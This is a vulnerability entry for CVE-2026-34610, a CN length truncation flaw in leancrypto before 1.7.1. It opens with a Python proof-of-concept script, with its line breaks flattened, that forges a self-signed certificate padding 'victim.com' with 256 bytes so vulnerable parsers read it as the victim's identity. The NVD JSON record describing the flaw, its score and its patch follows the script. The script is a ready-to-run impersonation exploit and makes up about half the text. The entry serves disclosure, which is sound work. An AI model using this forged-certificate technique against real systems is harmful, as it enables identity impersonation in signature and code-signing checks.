CVE-2026-34610

from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend import datetime # Generate a private key for the attacker private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Target CN (e.g., "victim.com") target_cn = "victim.com" n = len(target_cn) # Calculate padding to trigger the integer truncation # The vulnerable code does: cn_size = (uint8_t)(vlen) # We need vlen = N + 256, so (uint8_t)(N + 256) = N padding_length = 256 malicious_cn = target_cn + ("A" * padding_length) print(f"[+] Target CN Length: {n}") print(f"[+] Malicious CN Length: {len(malicious_cn)}") print(f"[+] Malicious CN Content: {malicious_cn[:30]}...{malicious_cn[-30:]}") # Create a self-signed certificate with the malicious CN subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"), x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"My Company"), # Inject the crafted CN to exploit the truncation bug x509.NameAttribute(NameOID.COMMON_NAME, malicious_cn), ]) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).sign(private_key, hashes.SHA256(), default_backend()) # Save the malicious certificate with open("malicious_cert.der", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.DER)) print("[!] Generated malicious_cert.der. When parsed by leancrypto < 1.7.1, the CN will be truncated to 'victim.com'.")

{"cve": {"id": "CVE-2026-34610", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:32.567", "lastModified": "2026-04-24T13:01:10.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The leancrypto library is a cryptographic library that exclusively contains only PQC-resistant cryptographic algorithms. Prior to version 1.7.1, lc_x509_extract_name_segment() casts size_t vlen to uint8_t when storing the Common Name (CN) length. An attacker who crafts a certificate with CN = victim's CN + 256 bytes padding gets cn_size = (uint8_t)(256 + N) = N, where N is the victim's CN length. The first N bytes of the attacker's CN are the victim's identity. After parsing, the attacker's certificate has an identical CN to the victim's — enabling identity impersonation in PKCS#7 verification, certificate chain matching, and code signing. This issue has been patched in version 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-681"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:leancrypto:leancrypto:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "EEBE3140-06FC-43FD-B7D3-D96E65CD4B38"}]}]}], "references": [{"url": "https://github.com/smuellerDD/leancrypto/commit/5cdcbe12bd6c3d6e87e969972a580b44a74c3a6a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/smuellerDD/leancrypto/releases/tag/v1.7.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/smuellerDD/leancrypto/security/advisories/GHSA-636g-jxv4-v4gr", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}